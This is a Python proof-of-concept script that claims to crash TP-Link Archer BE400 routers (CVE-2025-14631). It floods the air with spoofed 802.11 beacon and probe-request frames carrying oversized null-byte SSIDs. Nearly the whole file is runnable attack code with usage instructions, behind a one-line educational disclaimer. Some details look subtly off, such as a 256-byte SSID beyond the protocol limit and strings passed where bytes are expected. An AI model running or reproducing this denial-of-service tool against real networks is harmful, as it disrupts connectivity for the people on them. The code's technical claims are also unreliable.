#!/usr/bin/env python3
"""
CVE-2025-14631 PoC - TP-Link Archer BE400 NULL Pointer Dereference DoS
Note: This PoC is for educational and security research purposes only.
Author: Security Research
"""
import sys
import socket
import struct
import time
from scapy.all import RadioTap, Dot11, Dot11Beacon, Dot11ProbeReq, Dot11Elt, sendp
def create_malicious_frame(bssid, channel):
"""
Create a malicious 802.11 frame to trigger NULL pointer dereference
"""
# Construct RadioTap header
radio = RadioTap()
# Create malicious beacon frame with malformed information elements
ssid = "\x00" * 256 # Malformed SSID to trigger vulnerability
beacon = RadioTap() / \
Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", \
addr2=bssid, addr3=bssid) / \
Dot11Beacon(cap=0x2104) / \
Dot11Elt(ID="SSID", info=ssid) / \
Dot11Elt(ID="Rates", info=b'\x82\x84\x8b\x96\x0c\x12\x18\x24') / \
Dot11Elt(ID="DSset", info=chr(channel))
return beacon
def send_flood_attack(interface, target_mac, channel, duration=30):
"""
Send flooding attack to trigger NULL pointer dereference in 802.11 module
"""
print(f"[*] Starting NULL Pointer Dereference attack on {target_mac}")
print(f"[*] Target Channel: {channel}")
print(f"[*] Attack Duration: {duration} seconds")
# Configure monitor mode interface
try:
from scapy.all import conf
conf.iface = interface
except:
pass
start_time = time.time()
packet_count = 0
while time.time() - start_time < duration:
# Send malformed beacon frames
frame = create_malicious_frame(target_mac, channel)
sendp(frame, iface=interface, verbose=0)
packet_count += 1
# Send probe request frames
probe_req = RadioTap() / \
Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", \
addr2="00:11:22:33:44:55", addr3="ff:ff:ff:ff:ff:ff") / \
Dot11ProbeReq() / \
Dot11Elt(ID="SSID", info="\x00" * 128)
sendp(probe_req, iface=interface, verbose=0)
packet_count += 1
if packet_count % 100 == 0:
print(f"[*] Sent {packet_count} malicious frames...")
print(f"[+] Attack completed. Total packets sent: {packet_count}")
def main():
if len(sys.argv) < 3:
print("Usage: python3 cve-2025-14631-poc.py <interface> <target_mac> [channel] [duration]")
print("Example: python3 cve-2025-14631-poc.py wlan0mon 00:11:22:33:44:55 6 30")
sys.exit(1)
interface = sys.argv[1]
target_mac = sys.argv[2]
channel = int(sys.argv[3]) if len(sys.argv) > 3 else 6
duration = int(sys.argv[4]) if len(sys.argv) > 4 else 30
print("=" * 60)
print("CVE-2025-14631 - TP-Link Archer BE400 NULL Pointer Dereference")
print("=" * 60)
send_flood_attack(interface, target_mac, channel, duration)
if __name__ == "__main__":
main()